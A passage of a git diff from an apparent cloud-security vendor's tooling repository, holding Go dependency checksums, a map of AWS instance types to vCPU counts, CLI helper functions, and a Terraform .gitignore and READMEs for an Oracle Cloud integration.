h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201201144952-b05cb90ed32e/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201210142538-e3217bee35cc/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20201214200347-8c77b98c765d/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210108203827-ffc7fda8c3d7/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20210226172003-ab064af71705/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= +google.golang.org/genproto v0.0.0-20230227214838-9b19f0bdc514 h1:rtNKfB++wz5mtDY2t5C8TXlU5y52ojSu7tZo0z7u8eQ= +google.golang.org/genproto v0.0.0-20230227214838-9b19f0bdc514/go.mod h1:TvhZT5f700eVlTNwND1xoEZQeWTB2RY/65kplwl/bFA= +google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= +google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= +google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= +google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= +google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= +google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= +google.golang.org/grpc v1.28.0/go.mod h1:rpkK4SK4GF4Ach/+MFLZUBavHOvF2JJB5uozKKal+60= +google.golang.org/grpc v1.29.1/go.mod h1:itym6AZVZYACWQqET3MqgPpjcuV5QH3BxFS3IjizoKk= +google.golang.org/grpc v1.30.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.0/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.31.1/go.mod h1:N36X2cJ7JwdamYAgDz+s+rVMFjt3numwzf/HckM8pak= +google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= +google.golang.org/grpc v1.34.0/go.mod h1:WotjhfgOW/POjDeRt8vscBtXq+2VjORFy659qA51WJ8= +google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= +google.golang.org/grpc v1.53.0 h1:LAv2ds7cmFV/XTS3XG1NneeENYrXGmorPxsBbptIjNc= +google.golang.org/grpc v1.53.0/go.mod h1:OnIrk0ipVdj4N5d9IUoFUx72/VlD7+jUsHwZgwSMQpw= +google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= +google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= +google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= +google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= +google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= +google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= +google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= +google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w= +google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= +gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= +gopkg.in/ini.v1 v1.67.0 h1:Dgnx+6+nfE+IfzjUEISNeydPJh9AXNNsWbGP9KzCsOA= +gopkg.in/ini.v1 v1.67.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= +gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= +honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= +honnef.co/go/tools v0.0.1-2020.1.3/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +honnef.co/go/tools v0.0.1-2020.1.4/go.mod h1:X/FiERA/W4tHapMX5mGpAtMSVEeEUOyHaw9vFzvIQ3k= +rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= +rsc.io/quote/v3 v3.1.0/go.mod h1:yEA65RcK8LyAZtP9Kv3t0HmxON59tX3rD+tICJqUlj0= +rsc.io/sampler v1.3.0/go.mod h1:T1hPZKmBbMNahiBKFy5HrXp6adAjACjK9JXDnKaTXpA= diff --git a/lw-billing/helpers/aws_instances.go b/lw-billing/helpers/aws_instances.go new file mode 100644 index 0000000..0e26a50 --- /dev/null +++ b/lw-billing/helpers/aws_instances.go @@ -0,0 +1,629 @@ +package helpers + +var Aws_instances = map[string]int{ + "r6a.metal": 192, + "c5d.large": 2, + "m6idn.large": 2, + "c6a.16xlarge": 64, + "x2iedn.2xlarge": 8, + "m5a.16xlarge": 64, + "r5.24xlarge": 96, + "r6a.2xlarge": 8, + "x2iedn.xlarge": 4, + "m5zn.2xlarge": 8, + "r5a.2xlarge": 8, + "im4gn.2xlarge": 8, + "g5.4xlarge": 16, + "c6a.24xlarge": 96, + "c4.4xlarge": 16, + "c6i.large": 2, + "x2gd.metal": 64, + "g5.2xlarge": 8, + "x1e.8xlarge": 32, + "m5a.2xlarge": 8, + "r6gd.xlarge": 4, + "m2.4xlarge": 8, + "r3.large": 2, + "m4.4xlarge": 16, + "i4i.16xlarge": 64, + "m5d.8xlarge": 32, + "c6gn.16xlarge": 64, + "r6gd.2xlarge": 8, + "c6gd.metal": 64, + "m6id.2xlarge": 8, + "i2.2xlarge": 8, + "m5dn.large": 2, + "c7g.8xlarge": 32, + "m6gd.medium": 1, + "m6gd.xlarge": 4, + "m5d.xlarge": 4, + "c6id.8xlarge": 32, + "c6i.8xlarge": 32, + "m7g.4xlarge": 16, + "r5dn.8xlarge": 32, + "d3en.2xlarge": 8, + "r6idn.2xlarge": 8, + "im4gn.8xlarge": 32, + "r6id.xlarge": 4, + "m6a.large": 2, + "m6idn.12xlarge": 48, + "r6g.large": 2, + "m7g.large": 2, + "r6id.2xlarge": 8, + "c6i.32xlarge": 128, + "r6i.xlarge": 4, + "r6g.16xlarge": 64, + "m6i.large": 2, + "m6gd.4xlarge": 16, + "m5dn.12xlarge": 48, + "c6a.48xlarge": 192, + "m6id.xlarge": 4, + "x2iezn.4xlarge": 16, + "r6in.24xlarge": 96, + "i3en.12xlarge": 48, + "t1.micro": 1, + "r6a.xlarge": 4, + "c3.large": 2, + "r6g.8xlarge": 32, + "m6gd.12xlarge": 48, + "r5a.xlarge": 4, + "r6id.16xlarge": 64, + "r6in.12xlarge": 48, + "x1e.2xlarge": 8, + "g3.16xlarge": 64, + "c3.8xlarge": 32, + "r6idn.16xlarge": 64, + "f1.2xlarge": 8, + "c5ad.24xlarge": 96, + "m5a.4xlarge": 16, + "c6g.16xlarge": 64, + "t4g.nano": 2, + "m5zn.6xlarge": 24, + "z1d.2xlarge": 8, + "i3en.3xlarge": 12, + "r6g.medium": 1, + "c6i.4xlarge": 16, + "m5ad.12xlarge": 48, + "is4gen.xlarge": 4, + "is4gen.4xlarge": 16, + "x2gd.8xlarge": 32, + "c6in.24xlarge": 96, + "r6gd.medium": 1, + "trn1.32xlarge": 128, + "i3en.24xlarge": 96, + "m5n.16xlarge": 64, + "c6in.xlarge": 4, + "c5n.2xlarge": 8, + "m6a.2xlarge": 8, + "r5ad.24xlarge": 96, + "m5.8xlarge": 32, + "r5n.12xlarge": 48, + "m5dn.2xlarge": 8, + "t2.2xlarge": 8, + "d2.8xlarge": 36, + "m6idn.4xlarge": 16, + "m5.metal": 96, + "inf1.xlarge": 4, + "m6in.16xlarge": 64, + "r6in.large": 2, + "x2idn.24xlarge": 96, + "m5dn.xlarge": 4, + "m6a.metal": 192, + "g4ad.8xlarge": 32, + "i4i.metal": 128, + "m6id.12xlarge": 48, + "r7g.metal": 64, + "r5a.large": 2, + "r6idn.8xlarge": 32, + "r5ad.12xlarge": 48, + "m6i.8xlarge": 32, + "m6in.32xlarge": 128, + "c4.8xlarge": 36, + "d2.2xlarge": 8, + "c5ad.16xlarge": 64, + "r5b.12xlarge": 48, + "m5ad.4xlarge": 16, + "c5d.12xlarge": 48, + "m6id.32xlarge": 128, + "p2.8xlarge": 32, + "c6id.24xlarge": 96, + "r6idn.24xlarge": 96, + "im4gn.xlarge": 4, + "c5n.large": 2, + "x2gd.4xlarge": 16, + "m6g.xlarge": 4, + "m7g.12xlarge": 48, + "c7g.4xlarge": 16, + "r3.8xlarge": 32, + "c6gn.4xlarge": 16, + "c7g.16xlarge": 64, + "a1.medium": 1, + "r6gd.large": 2, + "c6a.32xlarge": 128, + "g4dn.metal": 96, + "c5a.4xlarge": 16, + "m6in.24xlarge": 96, + "x1e.32xlarge": 128, + "t4g.medium": 2, + "c6i.2xlarge": 8, + "r5ad.8xlarge": 32, + "c5ad.12xlarge": 48, + "g4ad.4xlarge": 16, + "g4ad.2xlarge": 8, + "c5n.4xlarge": 16, + "r6i.4xlarge": 16, + "c6in.16xlarge": 64, + "c6id.large": 2, + "r7g.medium": 1, + "x1.16xlarge": 64, + "m6i.24xlarge": 96, + "r4.16xlarge": 64, + "t3.xlarge": 4, + "c6in.12xlarge": 48, + "r5n.4xlarge": 16, + "c6g.xlarge": 4, + "c5.4xlarge": 16, + "m5d.16xlarge": 64, + "c6g.12xlarge": 48, + "c7g.xlarge": 4, + "g5.24xlarge": 96, + "r6a.32xlarge": 128, + "m5d.large": 2, + "r5a.12xlarge": 48, + "r6i.24xlarge": 96, + "c6gn.xlarge": 4, + "m6in.12xlarge": 48, + "r6id.4xlarge": 16, + "t3a.2xlarge": 8, + "m5ad.8xlarge": 32, + "t3a.small": 2, + "c5.xlarge": 4, + "m6g.metal": 64, + "m6gd.metal": 64, + "z1d.xlarge": 4, + "m5.24xlarge": 96, + "r6id.12xlarge": 48, + "t3.2xlarge": 8, + "r6idn.xlarge": 4, + "trn1.2xlarge": 8, + "m5ad.large": 2, + "m5ad.2xlarge": 8, + "r5b.metal": 96, + "m5.xlarge": 4, + "c5ad.4xlarge": 16, + "m2.2xlarge": 4, + "c6i.24xlarge": 96, + "m5d.metal": 96, + "d3.8xlarge": 32, + "d3en.8xlarge": 32, + "m5dn.8xlarge": 32, + "r6a.12xlarge": 48, + "m5zn.large": 2, + "m5.12xlarge": 48, + "x2iezn.8xlarge": 32, + "c5ad.xlarge": 4, + "m4.xlarge": 4, + "x2gd.2xlarge": 8, + "r7g.xlarge": 4, + "inf1.2xlarge": 8, + "vt1.6xlarge": 24, + "c6gd.16xlarge": 64, + "c6gn.medium": 1, + "c6id.16xlarge": 64, + "u-6tb1.56xlarge": 224, + "x2iedn.metal": 128, + "r6gd.metal": 64, + "c5a.12xlarge": 48, + "m5zn.3xlarge": 12, + "c6a.8xlarge": 32, + "c5a.24xlarge": 96, + "c5a.xlarge": 4, + "m5n.large": 2, + "vt1.3xlarge": 12, + "r3.2xlarge": 8, + "c6in.8xlarge": 32, + "c1.xlarge": 8, + "r5b.large": 2, + "c4.large": 2, + "t3.large": 2, + "m7g.8xlarge": 32, + "m6i.metal": 128, + "g3.4xlarge": 16, + "g4dn.12xlarge": 48, + "m1.xlarge": 4, + "t3a.medium": 2, + "d3en.6xlarge": 24, + "c5.12xlarge": 48, + "c5a.2xlarge": 8, + "r5a.16xlarge": 64, + "c6gn.12xlarge": 48, + "x2gd.16xlarge": 64, + "r5.large": 2, + "x2gd.medium": 1, + "r5b.2xlarge": 8, + "c6in.2xlarge": 8, + "inf1.6xlarge": 24, + "m7g.16xlarge": 64, + "c5d.24xlarge": 96, + "c6a.12xlarge": 48, + "g5.12xlarge": 48, + "r5a.4xlarge": 16, + "c6i.16xlarge": 64, + "h1.2xlarge": 8, + "t2.micro": 1, + "r6g.4xlarge": 16, + "r5dn.xlarge": 4, + "r7g.2xlarge": 8, + "mac1.metal": 12, + "r6id.32xlarge": 128, + "g5g.2xlarge": 8, + "r5n.16xlarge": 64, + "m6i.16xlarge": 64, + "r5dn.large": 2, + "g2.2xlarge": 8, + "r5ad.large": 2, + "p3.2xlarge": 8, + "r5.metal": 96, + "r5d.4xlarge": 16, + "t2.large": 2, + "r5.4xlarge": 16, + "c6g.large": 2, + "h1.8xlarge": 32, + "m6a.4xlarge": 16, + "r5dn.metal": 96, + "u-12tb1.112xlarge": 448, + "d3.2xlarge": 8, + "m5n.12xlarge": 48, + "c5d.2xlarge": 8, + "t4g.2xlarge": 8, + "m6gd.16xlarge": 64, + "a1.xlarge": 4, + "r6g.12xlarge": 48, + "c5d.4xlarge": 16, + "r3.4xlarge": 16, + "m4.large": 2, + "c5n.9xlarge": 36, + "d3.xlarge": 4, + "r6id.24xlarge": 96, + "c1.medium": 2, + "i4i.4xlarge": 16, + "a1.large": 2, + "m6idn.xlarge": 4, + "r6a.8xlarge": 32, + "d3en.4xlarge": 16, + "r6gd.4xlarge": 16, + "r5b.xlarge": 4, + "g5g.16xlarge": 64, + "i4i.2xlarge": 8, + "t3.medium": 2, + "m5n.8xlarge": 32, + "u-3tb1.56xlarge": 224, + "r5b.24xlarge": 96, + "g3.8xlarge": 32, + "mac2.metal": 8, + "r5d.2xlarge": 8, + "c7g.medium": 1, + "m5ad.24xlarge": 96, + "t3a.large": 2, + "c4.xlarge": 4, + "c6id.32xlarge": 128, + "u-6tb1.112xlarge": 448, + "r6idn.4xlarge": 16, + "r5n.24xlarge": 96, + "r5d.24xlarge": 96, + "x2gd.12xlarge": 48, + "t4g.large": 2, + "r5.xlarge": 4, + "r5d.16xlarge": 64, + "p4d.24xlarge": 96, + "is4gen.2xlarge": 8, + "i2.xlarge": 4, + "m6idn.2xlarge": 8, + "a1.metal": 16, + "u-24tb1.112xlarge": 448, + "m6id.metal": 128, + "c5ad.2xlarge": 8, + "m5n.metal": 96, + "r6in.32xlarge": 128, + "c7g.metal": 64, + "x2idn.16xlarge": 64, + "m6id.16xlarge": 64, + "r6idn.large": 2, + "h1.4xlarge": 16, + "t3.micro": 2, + "r5.8xlarge": 32, + "m6idn.24xlarge": 96, + "c6gd.xlarge": 4, + "r4.xlarge": 4, + "m4.16xlarge": 64, + "x2gd.large": 2, + "c5.9xlarge": 36, + "m5ad.xlarge": 4, + "r5d.8xlarge": 32, + "c7g.2xlarge": 8, + "r6in.4xlarge": 16, + "m5zn.12xlarge": 48, + "m5n.4xlarge": 16, + "g5.16xlarge": 64, + "t4g.micro": 2, + "i4i.large": 2, + "g5g.metal": 64, + "c6in.large": 2, + "m5.4xlarge": 16, + "t4g.small": 2, + "t4g.xlarge": 4, + "r5ad.16xlarge": 64, + "c6a.xlarge": 4, + "r6i.16xlarge": 64, + "m5a.8xlarge": 32, + "c3.xlarge": 4, + "m6a.16xlarge": 64, + "r4.2xlarge": 8, + "c5.24xlarge": 96, + "c5d.18xlarge": 72, + "g5g.8xlarge": 32, + "r7g.8xlarge": 32, + "r3.xlarge": 4, + "c5.metal": 96, + "r5b.4xlarge": 16, + "m6g.large": 2, + "m6g.4xlarge": 16, + "c5n.18xlarge": 72, + "r6a.4xlarge": 16, + "h1.16xlarge": 64, + "r5d.large": 2, + "m5zn.metal": 48, + "m6in.4xlarge": 16, + "m5d.24xlarge": 96, + "c6id.metal": 128, + "x2gd.xlarge": 4, + "c5a.16xlarge": 64, + "m3.xlarge": 4, + "g4dn.xlarge": 4, + "t3.nano": 2, + "i3.xlarge": 4, + "x2idn.metal": 128, + "m6g.8xlarge": 32, + "m6i.32xlarge": 128, + "c6a.4xlarge": 16, + "x2iezn.12xlarge": 48, + "m6i.4xlarge": 16, + "r6a.48xlarge": 192, + "c6a.metal": 192, + "m5dn.metal": 96, + "r5n.2xlarge": 8, + "x2iedn.4xlarge": 16, + "r5d.xlarge": 4, + "r5.16xlarge": 64, + "r5ad.2xlarge": 8, + "c4.2xlarge": 8, + "r7g.4xlarge": 16, + "m6idn.32xlarge": 128, + "a1.2xlarge": 8, + "m7g.xlarge": 4, + "r4.large": 2, + "g4ad.16xlarge": 64, + "g5.xlarge": 4, + "g4dn.16xlarge": 64, + "m5dn.4xlarge": 16, + "c5.2xlarge": 8, + "m6i.xlarge": 4, + "r6a.24xlarge": 96, + "im4gn.large": 2, + "r6gd.8xlarge": 32, + "m6gd.8xlarge": 32, + "c3.2xlarge": 8, + "m5.16xlarge": 64, + "d2.4xlarge": 16, + "i3.8xlarge": 32, + "r5dn.12xlarge": 48, + "m6in.large": 2, + "r5.2xlarge": 8, + "r5b.16xlarge": 64, + "x2iezn.metal": 48, + "m5n.24xlarge": 96, + "r5ad.xlarge": 4, + "m5dn.24xlarge": 96, + "i3.16xlarge": 64, + "c5.large": 2, + "m5.2xlarge": 8, + "m7g.medium": 1, + "r5n.xlarge": 4, + "c5ad.8xlarge": 32, + "p3.16xlarge": 64, + "m5zn.xlarge": 4, + "c6id.12xlarge": 48, + "r6i.12xlarge": 48, + "m5n.xlarge": 4, + "x1e.xlarge": 4, + "m5n.2xlarge": 8, + "r6id.8xlarge": 32, + "t2.xlarge": 4, + "im4gn.4xlarge": 16, + "z1d.12xlarge": 48, + "r6i.metal": 128, + "z1d.metal": 48, + "a1.4xlarge": 16, + "x2idn.32xlarge": 128, + "c5d.xlarge": 4, + "m4.10xlarge": 40, + "r6gd.16xlarge": 64, + "r6idn.32xlarge": 128, + "z1d.6xlarge": 24, + "r6g.xlarge": 4, + "r6id.metal": 128, + "x2iedn.16xlarge": 64, + "m3.2xlarge": 8, + "m5dn.16xlarge": 64, + "r4.8xlarge": 32, + "t2.medium": 2, + "c6gn.2xlarge": 8, + "dl1.24xlarge": 96, + "m5d.2xlarge": 8, + "m6g.12xlarge": 48, + "c5d.metal": 96, + "i3en.2xlarge": 8, + "r6in.8xlarge": 32, + "m4.2xlarge": 8, + "m5.large": 2, + "c3.4xlarge": 16, + "z1d.large": 2, + "m7g.2xlarge": 8, + "r5d.metal": 96, + "c6in.32xlarge": 128, + "m6id.4xlarge": 16, + "i2.4xlarge": 16, + "r5ad.4xlarge": 16, + "x2iezn.2xlarge": 8, + "i2.8xlarge": 32, + "c6in.4xlarge": 16, + "r5n.8xlarge": 32, + "x2iezn.6xlarge": 24, + "m6in.xlarge": 4, + "m5a.large": 2, + "r5dn.16xlarge": 64, + "m5d.12xlarge": 48, + "c5n.metal": 72, + "i3.large": 2, + "r6id.large": 2, + "c7g.large": 2, + "c6gn.large": 2, + "c6g.medium": 1, + "c5a.8xlarge": 32, + "m7g.metal": 64, + "c7g.12xlarge": 48, + "c6gn.8xlarge": 32, + "x1e.16xlarge": 64, + "r6in.16xlarge": 64, + "r5.12xlarge": 48, + "m6g.16xlarge": 64, + "x2iedn.24xlarge": 96, + "is4gen.large": 2, + "r6a.16xlarge": 64, + "vt1.24xlarge": 96, + "r6i.8xlarge": 32, + "m5a.xlarge": 4, + "t2.nano": 1, + "m6in.8xlarge": 32, + "g4dn.8xlarge": 32, + "r6in.2xlarge": 8, + "c6i.metal": 128, + "i4i.xlarge": 4, + "m2.xlarge": 2, + "t3.small": 2, + "c6id.2xlarge": 8, + "x2iedn.8xlarge": 32, + "m6g.2xlarge": 8, + "r6g.metal": 64, + "f1.16xlarge": 64, + "c6gd.medium": 1, + "r6i.2xlarge": 8, + "i3en.large": 2, + "f1.4xlarge": 16, + "r6in.xlarge": 4, + "m6idn.16xlarge": 64, + "u-18tb1.112xlarge": 448, + "u-9tb1.112xlarge": 448, + "p2.16xlarge": 64, + "c6gd.4xlarge": 16, + "m6g.medium": 1, + "c5n.xlarge": 4, + "g2.8xlarge": 32, + "r6i.32xlarge": 128, + "m3.medium": 1, + "m5d.4xlarge": 16, + "i4i.32xlarge": 128, + "c6i.12xlarge": 48, + "g3s.xlarge": 4, + "m5ad.16xlarge": 64, + "i3.4xlarge": 16, + "m6id.24xlarge": 96, + "i3.metal": 72, + "c6g.2xlarge": 8, + "c5ad.large": 2, + "r7g.large": 2, + "r5a.24xlarge": 96, + "m6in.2xlarge": 8, + "r4.4xlarge": 16, + "r6a.large": 2, + "g5.48xlarge": 192, + "c6gd.2xlarge": 8, + "t3a.nano": 2, + "z1d.3xlarge": 12, + "m6a.32xlarge": 128, + "r6gd.12xlarge": 48, + "x1.32xlarge": 128, + "i3en.xlarge": 4, + "c6gd.large": 2, + "r5dn.2xlarge": 8, + "i3.2xlarge": 8, + "r7g.16xlarge": 64, + "m6a.24xlarge": 96, + "c6i.xlarge": 4, + "p3.8xlarge": 32, + "im4gn.16xlarge": 64, + "inf1.24xlarge": 96, + "r5a.8xlarge": 32, + "g5g.4xlarge": 16, + "c6id.4xlarge": 16, + "m6gd.large": 2, + "r5b.8xlarge": 32, + "d3.4xlarge": 16, + "x2iedn.32xlarge": 128, + "is4gen.8xlarge": 32, + "r5d.12xlarge": 48, + "r5dn.4xlarge": 16, + "m5a.24xlarge": 96, + "p3dn.24xlarge": 96, + "r6i.large": 2, + "p2.xlarge": 4, + "m6i.2xlarge": 8, + "m6idn.8xlarge": 32, + "m3.large": 2, + "c6a.2xlarge": 8, + "c6g.8xlarge": 32, + "g5.8xlarge": 32, + "r7g.12xlarge": 48, + "m6a.xlarge": 4, + "m6gd.2xlarge": 8, + "t2.small": 1, + "c6g.4xlarge": 16, + "m6id.8xlarge": 32, + "is4gen.medium": 1, + "x1e.4xlarge": 16, + "r6g.2xlarge": 8, + "g4ad.xlarge": 4, + "c6gd.8xlarge": 32, + "c5a.large": 2, + "c6id.xlarge": 4, + "c6a.large": 2, + "r6idn.12xlarge": 48, + "i3en.metal": 96, + "m6a.8xlarge": 32, + "m6id.large": 2, + "i3en.6xlarge": 24, + "d3en.12xlarge": 48, + "d2.xlarge": 4, + "r5dn.24xlarge": 96, + "r5n.metal": 96, + "m5a.12xlarge": 48, + "m1.medium": 1, + "m1.small": 1, + "t3a.micro": 2, + "g4dn.2xlarge": 8, + "d3en.xlarge": 4, + "g4dn.4xlarge": 16, + "t3a.xlarge": 4, + "i4i.8xlarge": 32, + "c5d.9xlarge": 36, + "c5.18xlarge": 72, + "c6gd.12xlarge": 48, + "cc2.8xlarge": 32, + "g5g.xlarge": 4, + "m1.large": 2, + "c6g.metal": 64, + "m6i.12xlarge": 48, + "m6a.12xlarge": 48, + "m6a.48xlarge": 192, + "r5n.large": 2, +} diff --git a/lw-billing/helpers/utils.go b/lw-billing/helpers/utils.go new file mode 100644 index 0000000..3feb675 --- /dev/null +++ b/lw-billing/helpers/utils.go @@ -0,0 +1,51 @@ +package helpers + +import ( + "fmt" + "os" + + "github.com/spf13/cobra" + "github.com/spf13/viper" +) + +func GetFlagEnvironmentString(cmd *cobra.Command, flag string, env string, message string, required bool) string { + value := cmd.Flag(flag).Value.String() + if value == "" { + value = viper.GetString(env) + + if required { + if value == "" { + Bail(message, nil) + } + } + return value + } + return value +} + +func ParseDebug(cmd *cobra.Command) bool { + return GetFlagEnvironmentBool(cmd, "debug", "debug", false) +} + +func GetFlagEnvironmentBool(cmd *cobra.Command, flag string, env string, required bool) bool { + value, _ := cmd.Flags().GetBool(flag) + return value +} + +func Bail(message string, err error) { + if err == nil { + fmt.Println(message) + } else { + fmt.Println(message, err) + } + os.Exit(1) +} + +func Contains(s []string, e string) bool { + for _, a := range s { + if a == e { + return true + } + } + return false +} diff --git a/lw-billing/main.go b/lw-billing/main.go new file mode 100644 index 0000000..deb6d85 --- /dev/null +++ b/lw-billing/main.go @@ -0,0 +1,7 @@ +package main + +import "lw-billing/cmd" + +func main() { + cmd.Execute() +} diff --git a/lw-oci-integration/.gitignore b/lw-oci-integration/.gitignore new file mode 100644 index 0000000..9b8a46e --- /dev/null +++ b/lw-oci-integration/.gitignore @@ -0,0 +1,34 @@ +# Local .terraform directories +**/.terraform/* + +# .tfstate files +*.tfstate +*.tfstate.* + +# Crash log files +crash.log +crash.*.log + +# Exclude all .tfvars files, which are likely to contain sensitive data, such as +# password, private keys, and other secrets. These should not be part of version +# control as they are data points which are potentially sensitive and subject +# to change depending on the environment. +*.tfvars +*.tfvars.json + +# Ignore override files as they are usually used to override resources locally and so +# are not checked in +override.tf +override.tf.json +*_override.tf +*_override.tf.json + +# Include override files you do wish to add to version control using negated pattern +# !example_override.tf + +# Include tfplan files to ignore the plan output of command: terraform plan -out=tfplan +# example: *tfplan* + +# Ignore CLI configuration files +.terraformrc +terraform.rc diff --git a/lw-oci-integration/README.md b/lw-oci-integration/README.md new file mode 100644 index 0000000..53111bd --- /dev/null +++ b/lw-oci-integration/README.md @@ -0,0 +1,10 @@ +# Lacework OCI integration + +This repository contains a terraform and shell script example of the creation of a cloud account integration policy for Oracle Cloud Infrastructure (OCI). + +To use the shell script ensure you have `jq`, `oci` and `lacework` CLI commands available and working. Change directory to the bash folder and execute the following command: +``` +./lacework_oci_integration_setup.sh +``` + +For Terraform refer to the [README.md](./tf/README.md) in the Terraform directory. diff --git a/lw-oci-integration/bash/README.md b/lw-oci-integration/bash/README.md new file mode 100644 index 0000000..0c5fc8a --- /dev/null +++ b/lw-oci-integration/bash/README.md @@ -0,0 +1,6 @@ +# scripts for integrating OCI to Lacework + +## Introduction + +* ```lacework_integration_payload.sh``` produces the JSON payload that can then be used to create the integration to Lacework using endpoint /api/v2/CloudAccounts. Intended to be used when a more manual or custom workflow is necessary. +Please edit script before use to set the six variables appropriately. When executed, the script produces the payload in file ```lacework_payload.json```. diff --git 